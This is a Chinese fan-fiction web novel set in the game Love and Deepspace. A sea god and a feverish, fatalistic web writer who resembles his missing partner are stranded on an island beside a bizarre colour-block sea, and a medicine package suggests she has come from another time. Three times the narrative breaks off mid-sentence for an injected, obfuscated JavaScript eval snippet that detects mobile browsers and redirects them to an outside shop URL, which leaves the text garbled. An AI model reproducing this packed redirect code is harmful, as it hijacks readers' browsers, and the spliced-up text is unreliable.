《[恋与深空]梦与英雄》 1. 001 猎人小姐失去联络的第七天，某个无名的海滩上，海水冲上来了一个女人。 她的头发散在白沙上，像漆黑的海藻。 皮肤很白，很柔嫩，此刻因为泡在冰冷的海水里，那形似花瓣的嘴唇也泛着白。 她穿着一身蓝色的连衣裙，海水泊泊地拍打她的身体，那裙子随水波摆动，像是将海波一部分。 如果不是此刻她正昏迷着，模样狼狈，看起来还真像从海里上来的精灵。 祁煜赶来时，看到她的第一眼，就明白鱼群为什么非要拉他来这里了。 “长得还真像。” 难怪鱼群会认错。 脸型轮廓，鼻子嘴唇，都有点像。但也只是有点。 身材也不像，她比猎人小姐要矮点，更丰腴点。看起来像什么家族娇养的千金。 挺好，如果没有这层脂肪的保护，估计还没撑到鱼群发现她，她就先在海里失温冻死了。 他看向海面，原本漆黑平静的海面忽然拱起弧度，一只黑白胖子浮上水面。 这是一只海中霸主——虎鲸。 但即使是海中霸主，此刻在海神面前也是个眼神清澈等待夸奖的小可爱。 虎鲸高兴地喷水，旁边鱼群争相跃上海面，它们溅出的水花在月光下反射出碎银般的光华。 看得出来，它们对自己第一个完成海神布置的任务感到很满意。 祁煜平时对别人冷冰冰的，但对这些海洋生灵还真是没别的办法，他无奈地表示：“虽然很像，但你们找错人了。” 鱼群肉眼可见沮丧了，连尾巴都不会甩了。 虎鲸默默地潜水。 祁煜：“……但……也算救人一命，从结果上……你们干得不错。” 鱼群又欢快起来，瞬间忘记刚才的低落。 它们高兴地甩着尾巴游向大海，继续寻找海神失踪的恋人。 祁煜无奈扶额。 一路上的期盼落空，疲惫感席卷而来。 多日不眠不休的搜索，即使是他也难免感到精神不济，但是他不愿、也不敢休息。 她是突然失踪的。 据当时的目击证人、她的好友陶桃所言，她上一秒还在旁边，只是转个头的功夫，她就不见了。 大白天的广场上，众目睽睽之下，居然能将一个大活人神不知鬼不觉地转移……能做到这种事的势力屈指可数。 暗中视她为猎物的势力不在少数。 但从这几天的调查来看，对于她的忽然失踪，这些势力也处在迷惑之中。 那么，排除是他们动的手……到底发生了什么事？ 她现在……是安全的吗？ 越是想，越是不安，只能走一步看一步了。 祁煜捏了下眉心，看向地上的那个人。虽然人是救上来了，但放在这里不管也不行。 他打通救援电话，希望救援队能尽快过来把人救走。 打完救援电话，他双手插兜，走向海面。 没想到这时候，一直昏迷着的人忽然咳出一口水，从昏迷中转醒。 她艰难地睁开眼睛，与一只脚踩在水上的祁煜对上视线。 她迷茫地看着他。 祁煜平静地和她对视。 她：“……你好？” 祁煜：“你好。” 女人长着一双对于女性而言稍显锋利的眼睛。眼角尖锐，眼尾上扬，睫毛长而直。 这双锋利的眼睛，和她柔嫩的脸有种矛盾感。 但是，很像。 她又痛苦地咳了两下，又咳出一些水来。 她艰难地给自己换了个姿势，双手交叠，安详地躺平：“哦……我是不是打扰你寻死了？” 她的声音有着和她的外表不相称的沙哑低沉。 祁煜默默后退几步退到她身旁。 怎么连声音都这么像？ 祁煜问：“你叫什么名字？” 女人迷茫地问：“……怎么？寻死也要拉好友拼一刀？” 即使是祁煜，此刻也差点接不上这话。 祁煜：“……我这人比较追求仪式感，想在死前知道见证我死亡之人的名字。” 女人油盐不进地闭上了眼睛：“你死你的，我死我的，萍水相逢，不必知道名字。” 一根青筋，浮上了某位海神的额头。 合着这位是跳海寻死没死成的？ 那这人必然和猎人小姐没关系了。 刚要扭头就走，海上一个大浪忽然打过来。 女人顿时从海滩上弹起来，“卧槽卧槽卧槽！浪打过来了快跑！” 她一回头，看到祁煜居然站在原地没动，震惊地瞪着他：“不是哥们，你来真的？” 祁煜：“…………” 第二根青筋，浮上海神的额头。 接下来，按普遍理论而言，她应该开始狂灌鸡汤，劝这个在海边疑似想不开的小伙子珍惜生命。 祁煜冷静分析，仔细思考。 以现在这种情况，他不是应该坚定地表决“死志”比较合适？ 这样浪打过来时，他就可以顺理成章地潜入海中，顺利死遁。 这是目前这种情况最快的脱身手段。 就是不知道会不会给人造成心理阴影。 谁知道女人一脸“这大小伙子没救了”的表情，大摇其头，在浪打来之前连滚带爬地溜了。 看得出来，她非但不会有心理阴影，还生动地用背影诠释了什么叫“冷酷无情”。 祁煜：………… 行。 长得确实很像……但是性格和正义感爆棚的猎人小姐不能说一模一样，只能说毫不相干。 女人的脚步声越来越远，祁煜松了口气。 接着他才发现，在和那个女人交流时，自己的神经居然条件反射地微微紧绷。 人话翻译就是：他居然有点紧张。 ……怎么回事？ 他疑惑地摸下巴。 因为在这短短几句话的交流里，他无语的次数比过去一年加起来还多？ 合理。 能让他无语的人不多。 总归不需要再打交道了，这个莫名其妙的小插曲只需要在下个浪打来时就可以抛到脑后。 漆黑的海面上，潮水翻涌。 身为海神，平息海波，掀起风浪，是易如反掌之事。 浪来的时间比预计的要晚，祁煜总觉得今天的海潮格外迟钝，好像有点不听他召唤。 但总归来了。 他双手插兜，帅得没朋友，踏入海水中的背影是那么潇洒。 然后下一秒，他看到海水暗潮之下，有什么东西在发光。 起初只是觉得这片海域的海水比平时要亮一些。 但几个眨眼的时间，那光芒就变强了。 无比奇幻瑰丽的光芒穿透海水，瞬间驱散了连这片海岸的夜。 光怪陆离，五光十色，如梦似幻，仿佛一瞬间忽然来到童话世界。 但这种美丽只持续了两秒，瑰丽的外衣便被撕下，露出可怕的真容。 当光芒亮到极点时，海面上出现了大小不一的色块。 这些色块饱和度极高，或蓝或紫或红，配色极为杂乱，块与块之间边缘清晰毫无过度，简直就像上帝撒了把色卡扔到海里。 祁煜看到这种毫无章法的配色强迫症都要犯了。 他揉了下突突的太阳穴。总感觉看着这些色块的时候，昨天吃下的晚饭在胃里蠢蠢欲动。 接着他很快就发现，不是上帝撒了把色卡扔到海里，而是整片海都变成了色卡。 简直就像是什么传染病似的，更多的色块从海底浮上来…… ——不，不对！ 祁煜忽然反应过来。 不是浮上来的，是整片海从下而上异变成了色块！ 被他召唤而来的海潮还在向他扑来，但是在半途中就已同化成眼花缭乱到令人作呕的色块。 这一系列异变仅仅在半分钟之内完成。 还没让人来得及反应，原本黑暗静谧的海域就突变成吃了毒蘑菇都幻想不出来的狂乱的场面。 ——这是什么？新型流浪体？ 祁煜察觉不妙，想退回去。 结果刚一动弹，他就感觉双腿被什么禁锢，麻痹感侵袭着他的肢体。 他低头，看到海水中的色块不知何时爬上了他的小腿。 ——原来这海水不能碰！ 当他意识到这点时，浪已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368117|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了眼前…… 原本为了死遁而掀起的浪，这下要给他苦头吃了。 ……嗯，莫非就是传说中的阴沟里翻船？ 在这种危机时刻，他还有心情自嘲。 身后忽然传来急促的脚步声，一个蓝色的身影像个炮弹一样撞过来。 祁煜冰冷美丽的脸上，露出今天第一个惊讶的表情。 她居然去而复返了！ 女人跑得很快很急，眼看赶不及了，最后那一下是飞扑过来的。 这一撞的力道之大，让撞人的和被撞的同时感觉魂差点飞出去，但效果拔群，这一下直接给祁煜撞得脱离色块禁锢，两个人一起摔到沙滩上，摔得眼冒金星。 大概真的是危机时刻爆种，女人摔到了也不敢耽搁，在地上滚了两圈就挣扎着爬起来。 她的眼神里还带着遇到未知事物的惊恐和茫然。但她的心理素质显然非常强大，既没有尖叫也没有慌乱。 她甩了甩头，把糊在脸上的头发甩开。 也不知道她这神经到底是粗还是细，她直到现在都没有注意到眼前这小伙子的长相。 但是她却在第一时刻注意到了祁煜的状况。 看到他的双腿染上海里那种诡异的色块，马上意识到他情况好像和自己不一样，海水会让他失去行动力，便连拖带拽，拽着他的胳膊又往岸上拖。 直到两人肢体接触，祁煜才发现女人身上的温度惊人的烫，身体不住的痉挛。 她回来得很及时，动作也很快，祁煜避免了异变海水正面淹没的命运。 不过海水毕竟是流动的，虽然躲开了海浪袭击，但身上还是不可避免地沾了不少溅过来的海水。 海水扫过的地方都失去了知觉，并且无法动弹。 这可苦了这位正在病中发着高热还来救人的英雄小姐。 她痛苦面具，因为高热浑身脱力，拽着他的力道越来越松。 她喘着粗气，骂骂咧咧：“你……你身上涂了油？怎么……这么……滑！” 祁煜：“不，是你脱力了。” 女人下意识看了他一眼。 ——但是完全没聚焦。 祁煜肃然起敬。 都烧到这种眼冒金星的程度了还要救人，这到底一种什么样的精神！ 她本来是双手抱着他胳膊的，走了没两步就变成了抱着手肘，又没两步，就变成了拽手腕。 于是拖了还不足两米，这位英雄小姐的力气就正式宣布耗尽。 她彻底拽不动这个一米八的大男人，手一滑，彻底松开了他。 接着，她身体晃了一下，腿一软，倒在了沙滩上。 她喘着气，那双原本锐利的眼眸里满是高烧带来的浑噩，她虚弱而痛苦地说：“天……我好晕……地震了吗？……地怎么在转？” “我知道了……这一切一定是我病太重了出现的幻觉……睡一觉就好，根本难不倒我……” 想明白这一点，她似乎非常满意自己的聪慧机智，嘴角挂着安心的微笑，当即头一歪，晕了过去。 看着就跟含笑九泉了似的。 祁煜：“…………” 他好想吐槽，但槽点太多了，他都不知道从哪儿开始吐更能抒发自己的吐槽欲。 他看了眼已经变成马赛克的色块之海。 极度丰富极度绚丽的色块海洋，让他几乎无法分辨海浪，只能看到一堆色块在蠕动。 海水暂时恢复了平静，但以目前这个距离，实在算不上安全。 即使没有他的干扰，海水也有自己潮涨潮落的规律。 他试图控制这片海，但失败了。异变的海似乎有自己的想法，拒绝海神的召唤。 这种情况下，一旦海水上涌，他们都得完。谁也不知道落到这个马赛克之海里会发生什么。 他试图移动躯体，但努力了半天，只成功让手恢复了一点活动能力。 那双腿还是仿佛中了石化咒语一样，无法移动半分。 他放弃挣扎。 他再次看向海面，但这次他不是看的海水，而是看向更远的海平面。 救援队呢？救援队怎么还没来？ 能不能来个人救救这个绝望的孤岛上两个柔弱不能自理的人？ 2. 002 女人是在一种感觉自己要被勒死的窒息中憋醒的。 她从浑噩中恢复了一丝意识。但那意识就像风中的火苗一样，没几下就扑灭了。 但这种窒息实在太难受，即使晕着都无法忽视。 在那半明半昧的意识中，她感觉自己可能在上刑。 她的身体贴着一个什么冰冷的可能是铁器一样的东西，这个铁器上有个大铁链子，整个一圈捆住她的肋骨，顶住她的胃，勒得她都快吐了。 与此同时，她感觉自己整个人好像正被拖行。 地上粗粝的石块摩擦着她的皮肤，火辣辣的疼，她怀疑自己此刻已经血肉模糊了。 她很想醒过来看看到底怎么回事，但身体实在太虚弱，不允许她实现这个想法。 于是她醒了晕，晕了醒，来来回回折腾了好几次后，她的意识才终于像被电击疗法抢救过来的休克病人一样，恢复了一丝清明。 醒来时，她还在被拖行中，肋骨那一圈还在勒着，她听到自己的肌肉骨骼在哀嚎。 她悲伤地问：“怎么回事？……我要被五马分尸了吗？……但是好像还少了四根铁链子？” 头顶传来没好气的声音：“什么五马分尸？我可是好心救你。” 女人：“？” 她迷茫地抬头，视线中，一个男人的脸不太清晰地出现在视线里。 好像是海边那个人？ 她拍了拍滚烫的脑袋，试图物理驱散眩晕debuff，好让自己理解现在的状况。 男人的双腿依然糊着那坨彩色马赛克，他一只手撑着地，另一只手臂箍着她的肋骨那一圈。 两人已经不在原来的位置，而是在一片礁石区，地上的礁石给她半边身子咯得又疼又辣。 原来她以为的大铁器是男人的身体，大铁链子是他的手臂，他拖着她在地上爬了好一段距离了。 祁煜看她终于清醒了，手一松，女人一下没了禁锢，整个身体和大地亲密接触。 原本祁煜也算给她充当了半个人肉垫子，她只磨到了半个身子。现在那另外半边也终于接触到礁石，女人顿时龇牙咧嘴地撑起身子。 祁煜：“醒了就自己爬。”他指向远处一个高地。“我们得尽快爬到那里去。” 现在本是夜晚，换了平时，祁煜就算把那个高地指出一个洞，女人也绝对看不见。 但他们后面的马赛克之海实在太亮了，亮得她能将那块高地看得一清二楚。 说完，祁煜就自己先爬。解放了一只手后，他的速度终于能快点了。 女人迷惑地看着他的背影，他的腿还是不能移动，行动仅靠双手，她都不敢想这家伙到底是怎么恢复行动，又怎么能靠两只手把她拖这么远的？ 这是什么新世纪身残志坚的模范人物啊？ 她撑着身子想站起来，但是她太虚弱了实在做不到。 她不知道自己在海上飘了多久，已经多久没吃饭了，也不知道她在海边晕过去后又过去了多久，总之她现在是一点站起来的力气都没有。 ——原来不是幻觉吗？ 她好崩溃，身上好痛，好想哭，但是哭也要力气，她哭不出来。 她一边默默崩溃，一边手脚并用地跟着祁煜爬。 女人虚弱地问：“我们……为什么要这么努力？找个平地……躺着不好吗？” 祁煜：“要涨潮了，再不挪窝，我们都得死。” “涨潮？”女人看向背后，她找到了晕过去之前下意识找的参照物。“没有啊？海水甚至退下去了？” “这就是涨潮的信号。”祁煜说：“我在海边长大，听我的没错。” “好吧。” 女人不了解水文知识，觉得自己没有发言权，便闭上嘴跟着祁煜行动。 两人这辈子都没这么狼狈过，但此时此刻并不是怀疑人生的时候。 他们狼狈地爬过礁石区，互相拖拽着登上高地。 果然，刚爬上高地，海水就上涨了，速度快得不讲道理，仅在片刻间就淹没了他们刚才经过的地方。 女人疲惫的眼睛见证了这个过程。 换了平时，她一定会举着手机疯狂拍照，然后在自己的素材笔记上写下一些观景体验和描述，等到未来可能要用的时候再翻出来。 但现在她没有力气了，她只能半是后怕半是庆幸，用自己沙哑的声音感慨：“大海，还真是无情啊……” 祁煜正敲着自己的腿，想着能不能用武力手段恢复知觉，听到她这句感叹，下意识想说点什么。 结果他抬头看过去时，发现这女人似乎是觉得自己暂时没有危险了，又放心地晕了过去。 祁煜：“……” 呃。 就怎么说呢……柔弱归柔弱，但该晕就晕，不该晕的时候就不晕，您还真是一点不耽误事？ * 再次从昏迷中清醒时，已经是第二日清晨。 她睁开干涩的眼睛，麻木地看向毫无遮挡的湛蓝的天空。 烧还是没有退下去。 她的头除了眩晕，还伴随着一种仿佛脑壳随时会裂开般的疼痛。她很热，浑身烫得发红。 嗓子又干又疼，肚子……肚子已经饿到没知觉了。 她身上的衣服已经干透，被海水泡过发硬的布料贴在大面积擦伤的皮肤上，说不出的难受。 简而言之，她现在浑身没一块地方是舒服的。 祁煜在她睁眼的第一时间就发现了。 出于某种原因，他有些提防她。 但是这女人实在柔弱得离谱，对他实在构不成威胁。 而且她晕过去后一点声音都没有，他还有事要问她，怕她直接寄了，除了去找吃的中途离开了一下，其余时间他一直守在她旁边。 “醒了？” 他把劈开了一半的椰子怼到她臂弯里，说：“那就起来吃点东西。” 女人半天没反应。 既不说话也不动，只是用一种平静而麻木的眼神看着天空。 祁煜：“？” 他满脸疑惑。 过了好一会儿，她的嘴唇动了下，发出一个苦涩的气音。 接着，她艰难地咽了下干涩的嗓子，开口的第一句话居然是：“……我居然还没死？” 祁煜：“……你这种遗憾的语气是怎么回事？” “咳咳……”她的眼睛稍微睁大了一些，说：“我很震惊。” 祁煜把她臂弯里的椰子捞回来，面无表情地说：“如果你不想活了，现在就可以从崖边翻下去。” 崖下水流湍急，海水不断地拍打崖壁。 本来只是个吐槽，谁知女人却接了这句话，她虚弱地说：“……改天吧。” 祁煜：“？？？” 女人闭了闭眼，然后伸出颤巍巍的手。 先前爬到这里用光了她最后的力气，她现在才是真正的“一滴都没有了”。 祁煜皱着眉看着她的动作，不知道她要干什么。 她看起来好努力，似乎想要努力地拿什么，但抬了几次手都因为后劲跟不上而落下。 ICU的重症患者在临死前伸手都比她有力量感。 他赶紧把椰子还给她，还贴心地把她的手放在椰子壳上。 女人哭笑不得地说：“我不是要拿这个……” 她意识到自己真的不行了，放弃挣扎，对他说：“小哥，麻烦你到我口袋里……拿一下退烧药。” 祁煜：“？”他一整个迷惑住，“谁去海边还带……” 他不说话了。 因为他居然真的摸到了药！ 而且还是还没有拆开的，只是去除了外面的纸质包装，里面的塑料包装完好无损的退烧药。 女人为了说了这几句话，又耗费了一些力气，她现在连睁开眼睛都费劲。 她的呼吸变得沉重，眼睛闭上，看起来又有重新晕过去的架势。 但是这次她的情况已经严重到晕都没法晕过去，她不得不忍受着身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368118|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的病痛，一字一顿，气若游丝地解释：“我……从小……体质就不好……所以……去哪儿都……随身……带……带……带……” 她带了半天都没带出来。 祁煜听她说话，感觉自己要窒息了。 祁煜：“带药带药带药，我知道了。你快别说话，攒点力气吧。” 她怀里一轻，椰子又被拿走了。 但这次没过多久，女人感觉身体被人扶起来，没过一会儿，清凉的椰肉就贴到她干裂的嘴唇上。 她勉强睁开眼睛，这位小哥不知道从哪儿摸出来一个小刀，挖了一块果肉递到她嘴边。 祁煜言简意赅：“吃。” 女人乖乖张嘴，他喂什么就吃什么。 药混在了椰肉里，一同吃了下去。她很熟悉药的味道，一入口她就发现了。 她没想到这男人这么细心，一时颇为感动。 大概是病痛容易激发人的软弱，一瞬间，这段时间遭遇的事全部涌上心头。 在死亡边缘反复横跳，即使是一贯心硬如铁的她，也积攒了很多脆弱的情绪。 她睁开眼睛，眼角湿润，抬头看向身边这位和她一起流落荒岛，也算是同甘共苦的伙伴。 “谢谢你……” 眼前混沌的迷雾终于拨开，她第一次看清了这位伙伴的脸，然后…… “噗！！！” 她一口气没上来，还在嘴里没咽下去的椰肉直接呛到喉管里。 “咳咳咳咳咳！！” 她眼角的泪花已经从感动的泪水变成单纯的生理盐水。 祁煜的手僵在空中。 他默默收手，护住椰子。 咳得这么厉害，可别把它掀飞出去。 这一顿又是给她咳得头昏脑涨，好不容易平复下去后，她用一种震惊的眼神看向祁煜，“哥们你……” 她说到一半就打住了。 她闭上眼睛，揉了揉太阳穴。 吓死，差点以为自己穿越了。 和她同甘共苦的伙伴居然长了一张和游戏人物一样的脸！ 不过怎么可能呢？ 虽然她从生死边缘走了一圈，虽然她看到了很不科学的东西……但是！ 穿越这是只有小说里才有的情节，现实里怎么可能会发生呢？ 嗐，她真是写小说写魔怔了! 祁煜被她的反应搞得满头问号。 女人再次睁开眼睛时，眼里已经没有那种震惊，而是一种自以为自己懂了的平静。 祁煜：“？倒也不必为我的容颜如此震惊？” 女人点头：“像啊，很像啊。” 很像游戏里一出场就把臭屁艺术家气质拉满的祁煜啊。 哎呀，这么偷偷嘴自己的推好像不好？ 算了，反正他也不知道。 祁煜心里一动，问道：“我长得像你认识的人？” 女人摇摇头：“也不算，单方面认识。”她问：“你有给什么游戏公司做过脸模吗？” 祁煜：“？没有。” 什么驴唇不对马嘴的。 他明白了。她觉得他长得像一个人，和他觉得她长得像一个人，不是同一种“像”。 祁煜：“不过……我算是个名人。如果有人用我的脸做游戏模型……也不奇怪？” 女人理解地点头：“……这样。” 她不追星不看网红，还真不知道现在红的都是谁。 不过经常有游戏动画的建模和明星捏得像，祁煜有脸模原型也不奇怪？ 不过…… 她又仔细看了看伙伴。 妈耶，这发丝，这脸型，这眼睛，这瞳色，这睫毛，一比一还原啊喂！ 现实里还保持这种造型，应该是哪家公司的爱豆？爱豆的造型夸张梦幻一点很正常。 这世上居然真有这么好看的人，属实给她开了眼。 不过……像到这种程度，已经是可以向狗叠打侵犯肖像权官司的程度了吧？ 3. 003 吃了一点东西，虽然还不至于马上恢复，但肚子里有食物，有药，总算能让她安心地躺平了。 女人双手交叠，安详躺平，等待药效发挥作用。 祁煜忍不住吐槽：“我看你一口一个死啊死的，求生意志却强得很。” 女人：“我也不想的，没办法……” 祁煜：“？” 女人：“活又不想活，死又不敢死。要是真的一下就过去了，也算皆大欢喜。” 说到这，她就想叹气：“但是大海都没能杀死我……能怎么办？继续苟活呗……” “我想，我的运气已经抵达人生的巅峰。” 祁煜：“……你运气的巅峰就是流落荒岛？这巅峰不要也罢。” 女人看了他一眼，说：“……漂了这么久，被浪冲来冲去，我的药居然还能安稳地呆在我的口袋里没有被冲走，这难道还不够好运？” 祁煜：…… 好吧，他被说服了。 从这个角度来看，这不是好运，这简直是奇迹。 他看她脱离了危险期，也就放心了。他挪到树下，靠着树干，双手抱臂，静静地看着远方。 他在等救援。 但此刻，他有点怀疑，救援还能不能到。 在他女人没醒之前，他又联系过几次救援队，但每次都因为信号问题失败了。 这片海阻断了信号。 也就是说，他们极有可能等不到救援。 两人一时无言。 女人虽然玩游戏的时候喜欢祁煜，总喜欢戳戳他揩两下油，有时候会盯着他犯花痴，但是遇到个真人版，她还是懂保持距离的。 游戏是游戏，现实是现实。 而且……二次元的宝子们都知道。 男人可以是Live2D的，可以是3D的，可以是死的，甚至可以不是人，但唯独不可以是三次元活的。 别说只是脸模，就算祁煜本人来了，她都会瞬间爱不动，连夜扛着火车跑。 女人陷入思考。 她刚刚到底为什么会生出那股倾诉欲？ 果然是因为病重吗？ 女人闭上眼睛，酝酿睡意。总之，病要快点好，至少要能站起来…… 虽然这小哥挺善良的，但她不想老是拖人家后腿。 过了不知道多久，药终于起作用了，她的头不再那么疼，终于能好好睡觉了。 祁煜忽然出声：“别睡了，你才刚醒，又睡。” 她无辜地看过去，仿佛在说：我都这样了，不睡还能干嘛？ 祁煜捏了捏眉心。 一定是平时他在保镖小姐面前装柔弱装太多造报应了，上天派了个真柔弱的来折磨他。 “名字，你叫什么名字？”祁煜说：“我总不能喂啊喂的叫你。” “傅秋语。单人旁的傅，秋天的秋，语言的语。” 祁煜：…… 祁煜的目光陡然变得锐利。 他的保镖小姐，名叫雨丘。 只是长得像也就算了，毕竟这世上长得像的人有很多。 但名字，像到几乎只是读音顺序颠倒，这种巧合，说出来有人信吗？ 反正他不信。 傅秋语问：“那你叫什么？” 毕竟是救命恩人，偷偷喊人家脸模先生也不礼貌。 祁煜说：“……俞启。人字头的俞，启示的启。” 傅秋语露出一个古怪的表情。 但她没说什么。 长得像也就算了，连名字几乎都是祁煜的读音顺序颠倒…… 他家经纪人怎么还没给狗叠发律师函？ 是太糊了，没钱打官司吗？ 祁煜心里逐渐有了一丝计较。 他问：“你那时……为什么去而复返？丢下我，自己逃跑，会省你很多力气……你现在可能就不用这么难受。” 他静静地盯着她，不放过她脸上每一个表情，他又问了一遍：“为什么要回来？” 傅秋语回忆了好久，才想起来昨晚昏迷前发生的事：“哦……那个啊。” 她回答地很坦然：“你把我从海里救上来……我怎么能真的看你寻死？” 祁煜：“……？” 傅秋语：“如果我直接说——你不要死啊，想想你的家人朋友你的青春年华你的大好前程——你一定当场冲海里死给我看。” 祁煜：“……” 他哽住了，不知道这话要怎么接。 “我不是……” 算了，解释起来很麻烦。还是让她这么误会好了。 傅秋语：“本来我的计划是……离开一段距离，让你以为我走了，放松警惕，然后我再突然冲上来制住你……但是后来……” 就出现了那个诡异的马赛克之海。 想到这个，傅秋语终于躺不住了。 她艰难地翻了个身，艰难地坐起来。 躺着还是很难完整地观察马赛克之海，坐起来就好多了。 傅秋语看了一眼，重新趴下。 她揉了揉眼睛：“这到底是什么？颜色好多好艳，看着有点恶心。” “而且……”她看向祁煜小腿，“海水会让你失去行动力，但我却没有……这怎么回事？” 祁煜：“我也想知道。” 说完，两人又没话了。 游戏里的猎人小姐在和黎深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368119|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重逢时会尬聊寒暄，但傅秋语不会。在社交方面，她是纯摆烂人。 但是躺了一会儿，她感觉气氛不对劲。 就像平静海面下的暗流，即使不显现出来，也足够让她的第六感发出警报。 她一直是个对危险事物警戒心很强的人。 从小到大，脆弱的身体带给她很多磨难，但也让她磨出了比常人更敏感的神经和更敏锐的洞察力。 她看向祁煜。 祁煜正端详她的退烧药包装上的文字，表情莫测。 虽然没有证据，但她就是觉得，如果自己再摆烂，她恐怕会很死得很难看。 傅秋语警惕地问：“……怎么了？” 祁煜：“……没什么。” 他态度甚至可以称得上温和，他问：“你还记得，你是什么时候遭遇海难的吗？” 傅秋语抬手摸了下头发，给出一个确切的答案：“两天前。” 祁煜：“……为什么要摸头发？” 傅秋语：“我洗完头后，头发会在第四天开始出油……那天我洗完头后出的旅馆，和朋友一起去海滩。以现在的手感判断，两天没错。” 祁煜：“你是什么时候买的药？” 傅秋语莫名感觉现在的氛围像审讯。 她微不可察地皱了下眉。 傅秋语：“出了旅馆后，我感觉海边风有点大，怕感冒，就顺道在路边药店买了药。” 祁煜：“也就说，药也同样是在两天前买的。” 傅秋语：“是。” 祁煜：“你还记得，你是怎么遭遇海难的吗？” “我在昨天夜里遇到的你，在那之前，你在海上漂了一天一夜……这期间发生了什么，你还记得吗？” 傅秋语：“……” 她的眼里浮现出迷茫。 傅秋语：“我只记得……我在海边走……” “那天的风浪其实还好，很多游客都在海边……但不知道怎么回事，突然就起浪了。” “我本来跟着朋友一起跑……但人流把我们冲散，然后我被人撞倒了……” 她的头又疼起来，不得不按住太阳穴缓解痛苦。 “接着，浪过来了，把我卷走……再那之后的事，我就不记得了。” 祁煜了然道：“人会选择性地忘记痛苦……遗忘，有时候对于人类来说，不是一件坏事。” 他再次看向包装。 傅秋语这边的逻辑完全跑得通，如果没有这个药，他也会完全相信她在他们被困这件事里完全无辜。 但是，药的包装上有一行字——有效期至：2026年11月。 现在是，2048年。 4. 004 “那你呢？”傅秋语问：“你是怎么流落到这里的？我看你……” 她仔细看了看他的打扮。 西装革履，着装正式，忽略衣服上明显磨损的痕迹和满手的血，一看就是宴会着装。 她满脸无语：“你不会是从某个游轮上跳海了吧？” 还真是从某个游轮上参加一个无聊的宴会时被鱼群呼唤，不得不跳海来看一下情况的祁煜：“…………” 来的时候没想到会回不去，希望他的失踪没有引起别人的注意……这当然不可能。 不过幸好谭灵也在场，应该能替他摆平。 傅秋语叹气：“你看你求生欲也挺强的，应该是不想死了。” “像你这种有钱有闲的人，就应该每天纸醉金迷享受人生……只有我这种失败者才整天想着死。” “……既然活下来了，就好好活着吧，还有人等你回去。” 祁煜：“……你自己不想活，却在这儿劝别人活下去，你不觉得自己很没有说服力吗？” 傅秋语：“……好吧，那我不劝了，你请便。” 祁煜：“？” 这是人话吗？ 傅秋语说不劝还就真不劝，她甚至闭上了眼睛，开始睡觉，用行动表示他的死活与她无关。 祁煜：“？” 他不是人，但这家伙是真拟人。 过了一会儿，傅秋语睁眼，转头问他：“现在还想死吗？还想的话，我就再睡一会儿。” 祁煜没好气地说：“我本来就没想死！” 傅秋语一脸不信，但她已经不想对这个话题展开讨论了。 她说：“好了，既然都活了下来，就别再说死不死的话题了。接下来我们要讨论的是——怎么才能活下去，并且离开这里。” “说真的……如果我们能在这种条件下活着出去，我高低得写一本《傅滨逊漂流记》出来。” 祁煜：“你是作家？” 傅秋语：“谈不上……只是一个失败的网络写手。” 祁煜：“你是因为写不出好作品，才不想活的？” 傅秋语丢给他一个“你以为我是你吗”的眼神，“当然不是。” 她沧桑叹气：“总之……就是各种各样，成年人的原因吧。” 随着时间推移，太阳越来越大，晒得地面发烫，她有点躺不住了。 她伸手遮住刺目的阳光，哀嚎：“啊……不行了……再晒下去，我就成风干咸鱼了。” 她艰难地给自己翻了个身，双手撑着身体，爬向祁煜旁边的那棵树下，直到缩到阴影里，她才舒服地叹谓一声。 祁煜看她恢复了一些元气，这才确定，这药或许可能大概的确是她在两天前买的。 并不是过期了二十多年的药。 祁煜：“你知道今年是什么年份吗？” 傅秋语：“？” 她一脸“你这是什么怪问题”。 装柔弱，那祁煜可太专业了。 他扶着头，皱着眉说：“在海里，我的头撞到了东西，好像……不记得年份了。” 傅秋语被他的理由说服了，毕竟她也遗忘了自己在海里漂着的记忆。 傅秋语：“2024年。” 祁煜：“……” 如果这是假的，那她的表演简直是天衣无缝，毫无表演痕迹。 如果是真的……那就令人玩味了。 时空穿梭很难做到，但并不是不能。只要条件成熟，一切皆有可能。 ?? ……老实说，如果不是他比猎人小姐自己还了解她的底细，知道她无父无母…… 不然，他真的会认为傅秋语是雨丘素未谋面的亲人、长辈之类的存在。 这两人，实在太像了。 傅秋语忽然说：“时间……有问题。” 祁煜眉头一挑，看向傅秋语。 终于发现自己穿越了吗？ 傅秋语看着清醒了不少，那双眼睛里的神采重新变得锐利。 说来有趣，傅秋语长着一张温室娇花的脸。 桃心脸，花瓣唇，翘鼻子，皮肤白皙细嫩，一看就是在温室里被呵护的类型。 但是她长了一双锋利的眼睛。浓眉，眼型偏长，有桃花眼的形，却没有桃花眼的神。 